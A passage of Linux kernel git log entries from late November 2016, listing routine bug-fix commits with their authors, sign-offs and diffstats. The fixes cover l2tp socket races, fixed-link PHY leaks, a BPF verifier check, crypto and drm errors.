http://lkml.kernel.org/r/20161115132703.7s7rrgmwttegcdh4@black.fi.intel.com Signed-off-by: Kirill A. Shutemov Reported-by: Dmitry Vyukov Cc: Konstantin Khlebnikov Cc: Andrey Ryabinin Cc: syzkaller Cc: Andrea Arcangeli Cc: [4.5+] Signed-off-by: Andrew Morton Signed-off-by: Linus Torvalds mm/mlock.c | 7 +++++-- 1 file changed, 5 insertions(+), 2 deletions(-) commit e1465d125d2189e667029b9fa8a6f455180fbcf2 Author: Jérémy Lefaure Date: Wed Nov 30 15:54:02 2016 -0800 mm, thp: propagation of conditional compilation in khugepaged.c Commit b46e756f5e47 ("thp: extract khugepaged from mm/huge_memory.c") moved code from huge_memory.c to khugepaged.c. Some of this code should be compiled only when CONFIG_SYSFS is enabled but the condition around this code was not moved into khugepaged.c. The result is a compilation error when CONFIG_SYSFS is disabled: mm/built-in.o: In function `khugepaged_defrag_store': khugepaged.c:(.text+0x2d095): undefined reference to `single_hugepage_flag_store' mm/built-in.o: In function `khugepaged_defrag_show': khugepaged.c:(.text+0x2d0ab): undefined reference to `single_hugepage_flag_show' This commit adds the #ifdef CONFIG_SYSFS around the code related to sysfs. Link: http://lkml.kernel.org/r/20161114203448.24197-1-jeremy.lefaure@lse.epita.fr Signed-off-by: Jérémy Lefaure Acked-by: Kirill A. Shutemov Acked-by: Hillf Danton Cc: Signed-off-by: Andrew Morton Signed-off-by: Linus Torvalds mm/khugepaged.c | 2 ++ 1 file changed, 2 insertions(+) commit 83fb8b055544a25ceeac34a666a2149331ea94bf Merge: b14fd8e e94bd17 Author: Dave Airlie Date: Thu Dec 1 10:00:14 2016 +1000 Merge tag 'drm-misc-fixes-2016-11-30' of git://anongit.freedesktop.org/git/drm-misc into drm-fixes single drm fix. * tag 'drm-misc-fixes-2016-11-30' of git://anongit.freedesktop.org/git/drm-misc: drm: Don't call drm_for_each_crtc with a non-KMS driver commit f513581c35525bccfb0aadb55189478df1cfddba Merge: e2b588a b7d79eb Author: Linus Torvalds Date: Wed Nov 30 15:15:49 2016 -0800 Merge tag 'clk-fixes-for-linus' of git://git.kernel.org/pub/scm/linux/kernel/git/clk/linux Pull clk fixes from Stephen Boyd: "Two small fixes for MIPI PLLs on sunxi devices and a build fix for a Broadcom clk driver having unmet dependencies" * tag 'clk-fixes-for-linus' of git://git.kernel.org/pub/scm/linux/kernel/git/clk/linux: clk: bcm: Fix unmet Kconfig dependencies for CLK_BCM_63XX clk: sunxi-ng: enable so-said LDOs for A33 SoC's pll-mipi clock clk: sunxi-ng: sun6i-a31: Enable PLL-MIPI LDOs when ungating it commit 4c9456df8849204435c4de1849120b916975d75d Author: Jeremy Linton Date: Tue Nov 29 14:45:10 2016 -0600 arm64: dts: juno: Correct PCI IO window The PCIe root complex on Juno translates the MMIO mapped at 0x5f800000 to the PIO address range starting at 0 (which is common because PIO addresses are generally < 64k). Correct the DT to reflect this. Signed-off-by: Jeremy Linton Signed-off-by: Arnd Bergmann arch/arm64/boot/dts/arm/juno-base.dtsi | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) commit aa196eed3d80d4b003b04a270712b978a012a939 Author: Jason Wang Date: Wed Nov 30 13:17:52 2016 +0800 macvtap: handle ubuf refcount correctly when meet errors We trigger uarg->callback() immediately after we decide do datacopy even if caller want to do zerocopy. This will cause the callback (vhost_net_zerocopy_callback) decrease the refcount. But when we meet an error afterwards, the error handling in vhost handle_tx() will try to decrease it again. This is wrong and fix this by delay the uarg->callback() until we're sure there's no errors. Signed-off-by: Jason Wang Acked-by: Michael S. Tsirkin Signed-off-by: David S. Miller drivers/net/macvtap.c | 11 +++++------ 1 file changed, 5 insertions(+), 6 deletions(-) commit af1cc7a2b86ddb8668ac38097866bedd7b849a76 Author: Jason Wang Date: Wed Nov 30 13:17:51 2016 +0800 tun: handle ubuf refcount correctly when meet errors We trigger uarg->callback() immediately after we decide do datacopy even if caller want to do zerocopy. This will cause the callback (vhost_net_zerocopy_callback) decrease the refcount. But when we meet an error afterwards, the error handling in vhost handle_tx() will try to decrease it again. This is wrong and fix this by delay the uarg->callback() until we're sure there's no errors. Reported-by: wangyunjian Signed-off-by: Jason Wang Acked-by: Michael S. Tsirkin Signed-off-by: David S. Miller drivers/net/tun.c | 10 ++++------ 1 file changed, 4 insertions(+), 6 deletions(-) commit 4ccfd6383a1a4838ed034120f00d02dbdc681d6f Author: Grygorii Strashko Date: Tue Nov 29 16:27:03 2016 -0600 net: ethernet: ti: cpsw: fix ASSERT_RTNL() warning during resume netif_set_real_num_tx/rx_queues() are required to be called with rtnl_lock taken, otherwise ASSERT_RTNL() warning will be triggered - which happens now during System resume from suspend: cpsw_resume() |- cpsw_ndo_open() |- netif_set_real_num_tx/rx_queues() |- ASSERT_RTNL(); Hence, fix it by surrounding cpsw_ndo_open() by rtnl_lock/unlock() calls. Cc: Dave Gerlach Cc: Ivan Khoronzhuk Fixes: commit e05107e6b747 ("net: ethernet: ti: cpsw: add multi queue support") Signed-off-by: Grygorii Strashko Reviewed-by: Ivan Khoronzhuk Tested-by: Dave Gerlach Signed-off-by: David S. Miller drivers/net/ethernet/ti/cpsw.c | 4 ++++ 1 file changed, 4 insertions(+) commit e2b588ab60c797d327551d9aaca914f962d5194b Merge: a107bf8 0e1614a Author: Linus Torvalds Date: Wed Nov 30 11:53:50 2016 -0800 Merge tag 'pwm/for-4.9' of git://git.kernel.org/pub/scm/linux/kernel/git/thierry.reding/linux-pwm Pull pwm fixes from Thierry Reding: "This contains two one-line fixes for issues that were introduced in v4.9-rc1" * tag 'pwm/for-4.9' of git://git.kernel.org/pub/scm/linux/kernel/git/thierry.reding/linux-pwm: pwm: Fix device reference leak pwm: meson: Add missing spin_lock_init() commit e2d2afe15ed452f91797a80dbc0a17838ba03ed4 Author: Josef Bacik Date: Tue Nov 29 12:27:09 2016 -0500 bpf: fix states equal logic for varlen access If we have a branch that looks something like this int foo = map->value; if (condition) { foo += blah; } else { foo = bar; } map->array[foo] = baz; We will incorrectly assume that the !condition branch is equal to the condition branch as the register for foo will be UNKNOWN_VALUE in both cases. We need to adjust this logic to only do this if we didn't do a varlen access after we processed the !condition branch, otherwise we have different ranges and need to check the other branch as well. Fixes: 484611357c19 ("bpf: allow access into map value arrays") Reported-by: Jann Horn Signed-off-by: Josef Bacik Acked-by: Alexei Starovoitov Acked-by: Daniel Borkmann Signed-off-by: David S. Miller kernel/bpf/verifier.c | 10 ++++++++-- 1 file changed, 8 insertions(+), 2 deletions(-) commit 17a49cd549d9dc8707dc9262210166455c612dde Author: Hongxu Jia Date: Tue Nov 29 21:56:26 2016 -0500 netfilter: arp_tables: fix invoking 32bit "iptable -P INPUT ACCEPT" failed in 64bit kernel Since 09d9686047db ("netfilter: x_tables: do compat validation via translate_table"), it used compatr structure to assign newinfo structure. In translate_compat_table of ip_tables.c and ip6_tables.c, it used compatr->hook_entry to replace info->hook_entry and compatr->underflow to replace info->underflow, but not do the same replacement in arp_tables.c. It caused invoking 32-bit "arptbale -P INPUT ACCEPT" failed in 64bit kernel. -------------------------------------- root@qemux86-64:~# arptables -P INPUT ACCEPT root@qemux86-64:~# arptables -P INPUT ACCEPT ERROR: Policy for `INPUT' offset 448 != underflow 0 arptables: Incompatible with this kernel -------------------------------------- Fixes: 09d9686047db ("netfilter: x_tables: do compat validation via translate_table") Signed-off-by: Hongxu Jia Acked-by: Florian Westphal Signed-off-by: Pablo Neira Ayuso net/ipv4/netfilter/arp_tables.c | 4 ++-- 1 file changed, 2 insertions(+), 2 deletions(-) commit 0fcba2894c6b370ebf4b49099d20ff6333a430f7 Merge: 7752f72 fcd2042 Author: David S. Miller Date: Wed Nov 30 14:33:44 2016 -0500 Merge tag 'wireless-drivers-for-davem-2016-11-29' of git://git.kernel.org/pub/scm/linux/kernel/git/kvalo/wireless-drivers Kalle Valo says: ==================== wireless-drivers fixes for 4.9 mwifiex * properly terminate SSIDs so that uninitalised memory is not printed ==================== Signed-off-by: David S. Miller commit 7752f72748db3ce9312e2171f80cbbb42bf4dde6 Merge: bb83d62 31e2f21 Author: David S. Miller Date: Wed Nov 30 14:14:09 2016 -0500 Merge branch 'l2tp-fixes' Guillaume Nault says: ==================== l2tp: fixes for l2tp_ip and l2tp_ip6 socket handling This series addresses problems found while working on commit 32c231164b76 ("l2tp: fix racy SOCK_ZAPPED flag check in l2tp_ip{,6}_bind()"). The first three patches fix races in socket's connect, recv and bind operations. The last two ones fix scenarios where l2tp fails to correctly lookup its userspace sockets. Apart from the last patch, which is l2tp_ip6 specific, every patch fixes the same problem in the L2TP IPv4 and IPv6 code. All problems fixed by this series exist since the creation of the l2tp_ip and l2tp_ip6 modules. Changes since v1: * Patch #3: fix possible uninitialised use of 'ret' in l2tp_ip_bind(). ==================== Acked-by: James Chapman commit 31e2f21fb35bfaa5bdbe1a4860dc99e6b10d8dcd Author: Guillaume Nault Date: Tue Nov 29 13:09:48 2016 +0100 l2tp: fix address test in __l2tp_ip6_bind_lookup() The '!(addr && ipv6_addr_equal(addr, laddr))' part of the conditional matches if addr is NULL or if addr != laddr. But the intend of __l2tp_ip6_bind_lookup() is to find a sockets with the same address, so the ipv6_addr_equal() condition needs to be inverted. For better clarity and consistency with the rest of the expression, the (!X || X == Y) notation is used instead of !(X && X != Y). Signed-off-by: Guillaume Nault Signed-off-by: David S. Miller net/l2tp/l2tp_ip6.c | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) commit df90e6886146dd744eb3929782e6df9749cd4a69 Author: Guillaume Nault Date: Tue Nov 29 13:09:47 2016 +0100 l2tp: fix lookup for sockets not bound to a device in l2tp_ip When looking up an l2tp socket, we must consider a null netdevice id as wild card. There are currently two problems caused by __l2tp_ip_bind_lookup() not considering 'dif' as wild card when set to 0: * A socket bound to a device (i.e. with sk->sk_bound_dev_if != 0) never receives any packet. Since __l2tp_ip_bind_lookup() is called with dif == 0 in l2tp_ip_recv(), sk->sk_bound_dev_if is always different from 'dif' so the socket doesn't match. * Two sockets, one bound to a device but not the other, can be bound to the same address. If the first socket binding to the address is the one that is also bound to a device, the second socket can bind to the same address without __l2tp_ip_bind_lookup() noticing the overlap. To fix this issue, we need to consider that any null device index, be it 'sk->sk_bound_dev_if' or 'dif', matches with any other value. We also need to pass the input device index to __l2tp_ip_bind_lookup() on reception so that sockets bound to a device never receive packets from other devices. This patch fixes l2tp_ip6 in the same way. Signed-off-by: Guillaume Nault Signed-off-by: David S. Miller net/l2tp/l2tp_ip.c | 6 ++++-- net/l2tp/l2tp_ip6.c | 7 ++++--- 2 files changed, 8 insertions(+), 5 deletions(-) commit d5e3a190937a1e386671266202c62565741f0f1a Author: Guillaume Nault Date: Tue Nov 29 13:09:46 2016 +0100 l2tp: fix racy socket lookup in l2tp_ip and l2tp_ip6 bind() It's not enough to check for sockets bound to same address at the beginning of l2tp_ip{,6}_bind(): even if no socket is found at that time, a socket with the same address could be bound before we take the l2tp lock again. This patch moves the lookup right before inserting the new socket, so that no change can ever happen to the list between address lookup and socket insertion. Care is taken to avoid side effects on the socket in case of failure. That is, modifications of the socket are done after the lookup, when binding is guaranteed to succeed, and before releasing the l2tp lock, so that concurrent lookups will always see fully initialised sockets. For l2tp_ip, 'ret' is set to -EINVAL before checking the SOCK_ZAPPED bit. Error code was mistakenly set to -EADDRINUSE on error by commit 32c231164b76 ("l2tp: fix racy SOCK_ZAPPED flag check in l2tp_ip{,6}_bind()"). Using -EINVAL restores original behaviour. For l2tp_ip6, the lookup is now always done with the correct bound device. Before this patch, when binding to a link-local address, the lookup was done with the original sk->sk_bound_dev_if, which was later overwritten with addr->l2tp_scope_id. Lookup is now performed with the final sk->sk_bound_dev_if value. Finally, the (addr_len >= sizeof(struct sockaddr_in6)) check has been dropped: addr is a sockaddr_l2tpip6 not sockaddr_in6 and addr_len has already been checked at this point (this part of the code seems to have been copy-pasted from net/ipv6/raw.c). Signed-off-by: Guillaume Nault Signed-off-by: David S. Miller net/l2tp/l2tp_ip.c | 27 ++++++++++++--------------- net/l2tp/l2tp_ip6.c | 43 ++++++++++++++++++++----------------------- 2 files changed, 32 insertions(+), 38 deletions(-) commit a3c18422a4b4e108bcf6a2328f48867e1003fd95 Author: Guillaume Nault Date: Tue Nov 29 13:09:45 2016 +0100 l2tp: hold socket before dropping lock in l2tp_ip{, 6}_recv() Socket must be held while under the protection of the l2tp lock; there is no guarantee that sk remains valid after the read_unlock_bh() call. Same issue for l2tp_ip and l2tp_ip6. Signed-off-by: Guillaume Nault Signed-off-by: David S. Miller net/l2tp/l2tp_ip.c | 11 ++++++----- net/l2tp/l2tp_ip6.c | 11 ++++++----- 2 files changed, 12 insertions(+), 10 deletions(-) commit 0382a25af3c771a8e4d5e417d1834cbe28c2aaac Author: Guillaume Nault Date: Tue Nov 29 13:09:44 2016 +0100 l2tp: lock socket before checking flags in connect() Socket flags aren't updated atomically, so the socket must be locked while reading the SOCK_ZAPPED flag. This issue exists for both l2tp_ip and l2tp_ip6. For IPv6, this patch also brings error handling for __ip6_datagram_connect() failures. Signed-off-by: Guillaume Nault Signed-off-by: David S. Miller include/net/ipv6.h | 2 ++ net/ipv6/datagram.c | 4 +++- net/l2tp/l2tp_ip.c | 19 ++++++++++++------- net/l2tp/l2tp_ip6.c | 16 +++++++++++----- 4 files changed, 28 insertions(+), 13 deletions(-) commit bb83d62fa83405d7c325873a317c9374f98eedef Author: Hariprasad Shenai Date: Tue Nov 29 17:14:52 2016 +0530 cxgb4: Add PCI device ID for new adapter Signed-off-by: Hariprasad Shenai Signed-off-by: David S. Miller drivers/net/ethernet/chelsio/cxgb4/t4_pci_id_tbl.h | 1 + 1 file changed, 1 insertion(+) commit a107bf8b3905b61bf8b5c181268bca8c05af7f69 Author: Mike Rapoport Date: Wed Nov 30 09:52:01 2016 +0200 isofs: add KERN_CONT to printing of ER records The ER records are printed without explicit log level presuming line continuation until "\n". After the commit 4bcc595ccd8 (printk: reinstate KERN_CONT for printing continuation lines), the ER records are printed a character per line. Adding KERN_CONT to appropriate printk statements restores the printout behavior. Signed-off-by: Mike Rapoport Signed-off-by: Linus Torvalds fs/isofs/rock.c | 4 ++-- 1 file changed, 2 insertions(+), 2 deletions(-) commit 80cca775cdc4f8555612d2943a2872076b33e0ff Author: Nikita Yushchenko Date: Tue Nov 29 09:44:51 2016 +0300 net: fec: cache statistics while device is down Execution 'ethtool -S' on fec device that is down causes OOPS on Vybrid board: Unhandled fault: external abort on non-linefetch (0x1008) at 0xe0898200 pgd = ddecc000 [e0898200] *pgd=9e406811, *pte=400d1653, *ppte=400d1453 Internal error: : 1008 [#1] SMP ARM ... Reason of OOPS is that fec_enet_get_ethtool_stats() accesses fec registers while IPG clock is stopped by PM. Fix that by caching statistics in fec_enet_private. Cache is initialized at device probe time, and updated at statistics request time if device is up, and also just before turning device off on down path. Additional locking is not needed, since cached statistics is accessed either before device is registered, or under rtnl_lock(). Signed-off-by: Nikita Yushchenko Signed-off-by: David S. Miller drivers/net/ethernet/freescale/fec.h | 2 ++ drivers/net/ethernet/freescale/fec_main.c | 23 +++++++++++++++++++---- 2 files changed, 21 insertions(+), 4 deletions(-) commit 17b463654f41f0aa334efd5a6efeab8a6e9496f7 Author: Haishuang Yan Date: Tue Nov 29 09:59:36 2016 +0800 vxlan: fix a potential issue when create a new vxlan fdb entry. vxlan_fdb_append may return error, so add the proper check, otherwise it will cause memory leak. Signed-off-by: Haishuang Yan Changes in v2: - Unnecessary to initialize rc to zero. Acked-by: Jiri Benc Signed-off-by: David S. Miller drivers/net/vxlan.c | 10 +++++++--- 1 file changed, 7 insertions(+), 3 deletions(-) commit 2425f1808123bf69a8f66d4ec90e0d0e302c2613 Author: Ping Cheng Date: Mon Nov 28 13:20:51 2016 -0800 Input: change KEY_DATA from 0x275 to 0x277 0x275 is used by KEY_FASTREVERSE. Fixes: 488326947cd1 ("Input: add HDMI CEC specific keycodes") Signed-off-by: Ping Cheng Acked-by: Hans Verkuil Cc: stable@vger.kernel.org Signed-off-by: Dmitry Torokhov include/uapi/linux/input-event-codes.h | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) commit f92a80a9972175a6a1d36c6c44be47fb0efd020d Author: Daniele Di Proietto Date: Mon Nov 28 15:43:53 2016 -0800 openvswitch: Fix skb leak in IPv6 reassembly. If nf_ct_frag6_gather() returns an error other than -EINPROGRESS, it means that we still have a reference to the skb. We should free it before returning from handle_fragments, as stated in the comment above. Fixes: daaa7d647f81 ("netfilter: ipv6: avoid nf_iterate recursion") CC: Florian Westphal CC: Pravin B Shelar CC: Joe Stringer Signed-off-by: Daniele Di Proietto Acked-by: Pravin B Shelar Signed-off-by: David S. Miller net/openvswitch/conntrack.c | 5 ++++- 1 file changed, 4 insertions(+), 1 deletion(-) commit 57891633eeef60e732e045731cf20e50ee80acb4 Author: David Michael Date: Tue Nov 29 11:15:12 2016 -0800 crypto: rsa - Add Makefile dependencies to fix parallel builds Both asn1 headers are included by rsa_helper.c, so rsa_helper.o should explicitly depend on them. Signed-off-by: David Michael Signed-off-by: Herbert Xu crypto/Makefile | 1 + 1 file changed, 1 insertion(+) commit 66bf093772040ae8b864d2cf953f2c73005f7815 Author: Harsh Jain Date: Tue Nov 29 19:00:34 2016 +0530 crypto: chcr - Fix memory corruption Fix memory corruption done by *((u32 *)dec_key + k) operation. Signed-off-by: Jitendra Lulla Signed-off-by: Herbert Xu drivers/crypto/chelsio/chcr_algo.h | 3 ++- 1 file changed, 2 insertions(+), 1 deletion(-) commit 5102981212454998d549273ff9847f19e97a1794 Author: Stephan Mueller Date: Tue Nov 29 09:45:04 2016 +0100 crypto: drbg - prevent invalid SG mappings When using SGs, only heap memory (memory that is valid as per virt_addr_valid) is allowed to be referenced. The CTR DRBG used to reference the caller-provided memory directly in an SG. In case the caller provided stack memory pointers, the SG mapping is not considered to be valid. In some cases, this would even cause a paging fault. The change adds a new scratch buffer that is used unconditionally to catch the cases where the caller-provided buffer is not suitable for use in an SG. The crypto operation of the CTR DRBG produces its output with that scratch buffer and finally copies the content of the scratch buffer to the caller's buffer. The scratch buffer is allocated during allocation time of the CTR DRBG as its access is protected with the DRBG mutex. Signed-off-by: Stephan Mueller Signed-off-by: Herbert Xu crypto/drbg.c | 29 ++++++++++++++++++++++++----- include/crypto/drbg.h | 2 ++ 2 files changed, 26 insertions(+), 5 deletions(-) commit a55e23864d381c5a4ef110df94b00b2fe121a70d Author: Tobias Brunner Date: Tue Nov 29 17:05:25 2016 +0100 esp6: Fix integrity verification when ESN are used When handling inbound packets, the two halves of the sequence number stored on the skb are already in network order. Fixes: 000ae7b2690e ("esp6: Switch to new AEAD interface") Signed-off-by: Tobias Brunner Acked-by: Herbert Xu Signed-off-by: Steffen Klassert net/ipv6/esp6.c | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) commit 7c7fedd51c02f4418e8b2eed64bdab601f882aa4 Author: Tobias Brunner Date: Tue Nov 29 17:05:20 2016 +0100 esp4: Fix integrity verification when ESN are used When handling inbound packets, the two halves of the sequence number stored on the skb are already in network order. Fixes: 7021b2e1cddd ("esp4: Switch to new AEAD interface") Signed-off-by: Tobias Brunner Acked-by: Herbert Xu Signed-off-by: Steffen Klassert net/ipv4/esp4.c | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) commit e411072d5740a49cdc9d0713798c30440757e451 Author: Matthew Auld Date: Mon Nov 28 10:36:48 2016 +0000 drm/i915: drop the struct_mutex when wedged or trying to reset We grab the struct_mutex in intel_crtc_page_flip, but if we are wedged or a reset is in progress we bail early but never seem to actually release the lock. Fixes: 7f1847ebf48b ("drm/i915: Simplify checking of GPU reset_counter in display pageflips") Cc: Chris Wilson Signed-off-by: Matthew Auld Link: http://patchwork.freedesktop.org/patch/msgid/20161128103648.9235-1-matthew.auld@intel.com Reviewed-by: Joonas Lahtinen Reviewed-by: Chris Wilson Signed-off-by: Chris Wilson Cc: # v4.7+ (cherry picked from commit ddbb271aea87fc6004d3c8bcdb0710e980c7ec85) Signed-off-by: Jani Nikula drivers/gpu/drm/i915/intel_display.c | 3 ++- 1 file changed, 2 insertions(+), 1 deletion(-) commit 2420489bcb8910188578acc0c11c75445c2e4b92 Author: Chris Wilson Date: Mon Nov 14 11:29:30 2016 +0000 drm/i915: Don't touch NULL sg on i915_gem_object_get_pages_gtt() error On the DMA mapping error path, sg may be NULL (it has already been marked as the last scatterlist entry), and we should avoid dereferencing it again. Reported-by: Dan Carpenter Fixes: e227330223a7 ("drm/i915: avoid leaking DMA mappings") Signed-off-by: Chris Wilson Cc: Imre Deak Cc: stable@vger.kernel.org Link: http://patchwork.freedesktop.org/patch/msgid/20161114112930.2033-1-chris@chris-wilson.co.uk Reviewed-by: Matthew Auld (cherry picked from commit b17993b7b29612369270567643bcff814f4b3d7f) Signed-off-by: Jani Nikula drivers/gpu/drm/i915/i915_gem.c | 5 +++-- 1 file changed, 3 insertions(+), 2 deletions(-) commit 83e2d0587ae859aae75fd9d246c409b10a6bd137 Author: Yi Zhao Date: Tue Nov 29 18:09:01 2016 +0800 xfrm_user: fix return value from xfrm_user_rcv_msg It doesn't support to run 32bit 'ip' to set xfrm objdect on 64bit host. But the return value is unknown for user program: ip xfrm policy list RTNETLINK answers: Unknown error 524 Replace ENOTSUPP with EOPNOTSUPP: ip xfrm policy list RTNETLINK answers: Operation not supported Signed-off-by: Yi Zhao Signed-off-by: Steffen Klassert net/xfrm/xfrm_user.c | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) commit e94bd1736f1f60e916a85a80c0b0ebeaae36cce5 Author: Michel Dänzer Date: Wed Nov 30 17:30:01 2016 +0900 drm: Don't call drm_for_each_crtc with a non-KMS driver Fixes oops if userspace calls DRM_IOCTL_GET_CAP for DRM_CAP_PAGE_FLIP_TARGET on a non-KMS device node. (Normal userspace doesn't do that, discovered by syzkaller) Reported-by: Dmitry Vyukov Fixes: f837297ad824 ("drm: Add DRM_MODE_PAGE_FLIP_TARGET_ABSOLUTE/RELATIVE flags v2") Cc: stable@vger.kernel.org Signed-off-by: Michel Dänzer Signed-off-by: Daniel Vetter Link: http://patchwork.freedesktop.org/patch/msgid/20161130083002.1520-1-michel@daenzer.net drivers/gpu/drm/drm_ioctl.c | 10 ++++++---- 1 file changed, 6 insertions(+), 4 deletions(-) commit b14fd8efb4805ff9a3218ba16f99b58778c4441e Merge: c0c4249 747e5a5 Author: Dave Airlie Date: Wed Nov 30 14:17:13 2016 +1000 Merge branch 'for-upstream/hdlcd' of git://linux-arm.org/linux-ld into drm-fixes Thanks for pulling the previous patch for HDLCD. Unfortunately, yesterday Robin Murphy discovered another issue while playing with CMA allocation sizes, which he has submitted a fix for. * 'for-upstream/hdlcd' of git://linux-arm.org/linux-ld: drm: hdlcd: Fix cleanup order commit f2ebf2a6ca94e78be179e8c99d34c87efc5e8bfb Merge: a510887 881eada Author: David S. Miller Date: Tue Nov 29 23:17:04 2016 -0500 Merge branch 'fixed-phy-phydev-leaks' Johan Hovold says: ==================== net: fix fixed-link phydev leaks This series fixes failures to deregister and free fixed-link phydevs that have been registered using the of_phy_register_fixed_link() interface. All but two drivers currently fail to do this and this series fixes most of them with the exception of a staging driver and the stmmac drivers which will be fixed by follow-on patches. Included are also a couple of fixes for related of-node leaks. Note that all patches except the of_mdio one have been compile-tested only. Also note that the series is against net due to dependencies not yet in net-next. ==================== Signed-off-by: David S. Miller commit 881eadabe71fa78c081eda3cd5701768f3778a21 Author: Johan Hovold Date: Mon Nov 28 19:25:09 2016 +0100 net: dsa: slave: fix fixed-link phydev leaks Make sure to deregister and free any fixed-link PHY registered using of_phy_register_fixed_link() on slave-setup errors and on slave destroy. Fixes: 0d8bcdd383b8 ("net: dsa: allow for more complex PHY setups") Signed-off-by: Johan Hovold Signed-off-by: David S. Miller net/dsa/slave.c | 12 +++++++++++- 1 file changed, 11 insertions(+), 1 deletion(-) commit 14cab6f6510c498c2fd55d4fd6063a91b477d2ff Author: Johan Hovold Date: Mon Nov 28 19:25:08 2016 +0100 net: ethernet: ti: davinci_emac: fix fixed-link phydev and of-node leaks Make sure to deregister and free any fixed-link PHY registered using of_phy_register_fixed_link() on probe errors and on driver unbind. Also remember to put the of-node reference on probe errors. Fixes: 1bb6aa56bb38 ("net: davinci_emac: Add support for fixed-link PHY") Signed-off-by: Johan Hovold Signed-off-by: David S. Miller drivers/net/ethernet/ti/davinci_emac.c | 10 +++++++++- 1 file changed, 9 insertions(+), 1 deletion(-) commit c41a47678d067efe8c87e8f1cfdcb0147e58ee62 Author: Johan Hovold Date: Mon Nov 28 19:25:07 2016 +0100 net: ethernet: dwc_eth_qos: fix fixed-link phydev leaks Make sure to deregister and free any fixed-link PHY registered using of_phy_register_fixed_link() on probe errors and on driver unbind. Fixes: 077742dac2c7 ("dwc_eth_qos: Add support for Synopsys DWC Ethernet QoS") Signed-off-by: Johan Hovold Signed-off-by: David S. Miller drivers/net/ethernet/synopsys/dwc_eth_qos.c | 20 +++++++++++++------- 1 file changed, 13 insertions(+), 7 deletions(-) commit 9f70eb339f5246ce7be6bb41a4602ce87ebbfc4b Author: Johan Hovold Date: Mon Nov 28 19:25:06 2016 +0100 net: ethernet: renesas: ravb: fix fixed-link phydev leaks Make sure to deregister and free any fixed-link PHY registered using of_phy_register_fixed_link() on initialisation errors and on device close after having disconnected the PHY. Fixes: b4bc88a868ed ("ravb: Add fixed-link support") Signed-off-by: Johan Hovold Signed-off-by: David S. Miller drivers/net/ethernet/renesas/ravb_main.c | 17 ++++++++++++++--- 1 file changed, 14 insertions(+), 3 deletions(-) commit 16a67eb3ec21ddb557d064a6901ec4629e96b94c Author: Johan Hovold Date: Mon Nov 28 19:25:05 2016 +0100 net: ethernet: mediatek: fix fixed-link phydev leaks Make sure to deregister and free any fixed-link PHY registered using of_phy_register_fixed_link() on initialisation errors and on uninit. Fixes: 0c72c50f6f93 ("net-next: mediatek: add fixed-phy support") Signed-off-by: Johan Hovold Signed-off-by: David S. Miller drivers/net/ethernet/mediatek/mtk_eth_soc.c | 4 ++++ 1 file changed, 4 insertions(+) commit 5a57a304315c09f9f93b7b7230a5038555e7fcf9 Author: Johan Hovold Date: Mon Nov 28 19:25:04 2016 +0100 net: ethernet: marvell: mvneta: fix fixed-link phydev leaks Make sure to deregister and free any fixed-link PHY registered using of_phy_register_fixed_link() on probe errors and on driver unbind. Fixes: 83895bedeee6 ("net: mvneta: add support for fixed links") Signed-off-by: Johan Hovold Reviewed-by: Thomas Petazzoni Signed-off-by: David S. Miller drivers/net/ethernet/marvell/mvneta.c | 5 +++++ 1 file changed, 5 insertions(+) commit 0807c4ceb8d171a116edc33e34166416876cae5d Author: Johan Hovold Date: Mon Nov 28 19:25:03 2016 +0100 net: ethernet: ucc_geth: fix fixed-link phydev leaks Make sure to deregister and free any fixed-link PHY registered using of_phy_register_fixed_link() on probe errors and on driver unbind. Fixes: 87009814cdbb ("ucc_geth: use the new fixed PHY helpers") Signed-off-by: Johan Hovold Signed-off-by: David S. Miller drivers/net/ethernet/freescale/ucc_geth.c | 23 ++++++++++++++++------- 1 file changed, 16 insertions(+), 7 deletions(-) commit 42c70042458d74ce049ce4a2ea7702f344a0dc0b Author: Johan Hovold Date: Mon Nov 28 19:25:02 2016 +0100 net: ethernet: gianfar: fix fixed-link phydev leaks Make sure to deregister and free any fixed-link PHY registered using of_phy_register_fixed_link() on probe errors and on driver unbind. Fixes: be40364544bd ("gianfar: use the new fixed PHY helpers") Signed-off-by: Johan Hovold Signed-off-by: David S. Miller drivers/net/ethernet/freescale/gianfar.c | 8 ++++++++ 1 file changed, 8 insertions(+) commit b9755f03728b21c36375a47a6c6366e00b4f2062 Author: Johan Hovold Date: Mon Nov 28 19:25:01 2016 +0100 net: ethernet: fs_enet: fix fixed-link phydev leaks Make sure to deregister and free any fixed-link PHY registered using of_phy_register_fixed_link() on probe errors and on driver unbind. Fixes: bb74d9a4a87b ("fs_enet: use the new fixed PHY helpers") Signed-off-by: Johan Hovold Signed-off-by: David S. Miller drivers/net/ethernet/freescale/fs_enet/fs_enet-main.c | 7 ++++++- 1 file changed, 6 insertions(+), 1 deletion(-) commit 82005b1c19b11998ea98532d742c021a19f948d7 Author: Johan Hovold Date: Mon Nov 28 19:25:00 2016 +0100 net: ethernet: fec: fix fixed-link phydev leaks Make sure to deregister and free any fixed-link PHY registered using of_phy_register_fixed_link() on probe errors and on driver unbind. Fixes: 407066f8f371 ("net: fec: Support phys probed from devicetree and fixed-link") Signed-off-by: Johan Hovold Signed-off-by: David S. Miller drivers/net/ethernet/freescale/fec_main.c | 5 +++++ 1 file changed, 5 insertions(+) commit 140ca9d3471c424ab4c4036ab8d8d995f24a9c5b Author: Johan Hovold Date: Mon Nov 28 19:24:59 2016 +0100 net: ethernet: bcmgenet: fix fixed-link phydev leaks Make sure to deregister and free any fixed-link PHY registered using of_phy_register_fixed_link() on probe errors and on driver unbind. Note that we're still leaking any fixed-link PHY registered in the non-OF probe path. Fixes: 9abf0c2b717a ("net: bcmgenet: use the new fixed PHY helpers") Signed-off-by: Johan Hovold Signed-off-by: David S. Miller drivers/net/ethernet/broadcom/genet/bcmmii.c | 6 ++++++ 1 file changed, 6 insertions(+) commit 39f8b0d426e0b3e04ddf4c6ef0ae28873c0f8c0f Author: Johan Hovold Date: Mon Nov 28 19:24:58 2016 +0100 net: ethernet: bcmsysport: fix fixed-link phydev leaks Make sure to deregister and free any fixed-link PHY registered using of_phy_register_fixed_link() on probe errors and on driver unbind. Fixes: 186534a3f832 ("net: systemport: use the new fixed PHY helpers") Signed-off-by: Johan Hovold Signed-off-by: David S. Miller drivers/net/ethernet/broadcom/bcmsysport.c | 17 ++++++++++++----- 1 file changed, 12 insertions(+), 5 deletions(-) commit 